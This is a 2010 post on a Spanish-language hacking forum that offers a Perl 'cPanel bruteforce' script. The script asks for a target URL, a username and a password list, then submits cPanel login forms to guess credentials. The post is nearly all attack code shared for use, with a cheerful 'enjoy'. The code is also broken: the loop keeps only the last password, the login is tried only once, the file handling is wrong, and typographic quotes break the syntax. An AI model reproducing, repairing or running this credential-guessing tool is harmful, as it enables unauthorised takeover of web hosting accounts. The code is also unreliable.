ENTRAR EN EL FOROHACK ANTIGUO (Muchos temas viejos y de menor nivel)
09:18:15 16/09/2019
¿No estas registrado?
Login: Clave:
6 Usuarios en línea: 0 registrados, 6 invitados.
Conéctate y verás los usuarios en línea
Tema: cPanel Bruteforce.
    Responder
Todos Los Foros -> Perl / Phyton -> cPanel Bruteforce.
Autor Mensaje (Ver Versión para Imprimir)
s3cure
Usuario Enfermo
Arreglando las imágenes

Mensajes: 69
Registrad@:
07/01/2010
Estado: Desconectad@
cPanel Bruteforce.

Bruteforce de cPanel. por s3cure.

CÓDIGO
      #!/usr/bin/perl
      ######################
      # cPanel bruteforce   #
      # s3cure|HSLTeam.com!#
      ######################

      use WWW::Mechanize;

      print “\\\\\\\\\\\\\\\\nHacking & Security Latin Team\\\\\\\\\\\\\\\\n”;
      print “cPanel bruteforce\\\\\\\\\\\\\\\\n”;
      print “by s3cure – HSLTeam.com!\\\\\\\\\\\\\\\\n”;
      print “\\\\\\\\\\\\\\\\nTarget: “;
      $url=<STDIN>;
      print “Username: “;
      $username=<STDIN>;
      print “Passwd list: “;
      $password=<STDIN>;
      open (FILE, “<$password”) || die “Not found passwd list.\\\\\\\\\\\\\\\\n”;
      @PASSWORDS = <FILE>;
      close PASSFILE;
      foreach my $P (@PASSWORDS) {
      chomp $P;
      $passwd = $P;
      }

      my $mechanize = WWW::Mechanize->new(autocheck => 1);
      $mechanize->get($url) || die “Failed connect to target!\\\\\\\\\\\\\\\\n”;
      $mechanize->submit_form(
      form_number => 1,
      fields         => {
      login_username    => $username,
      login_password => $passwd
      }
      );
      print $mechanize->content( );
      if (content =~ /Find/) {
      print “\\\\\\\\\\\\\\\\nPassword: $passwd”;
      exit(0);
      }



enjoy :D


Creer que todo es genial para luego ver realidad.
10/01/2010 18:22:18 


REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)

Copyright ForoHack.com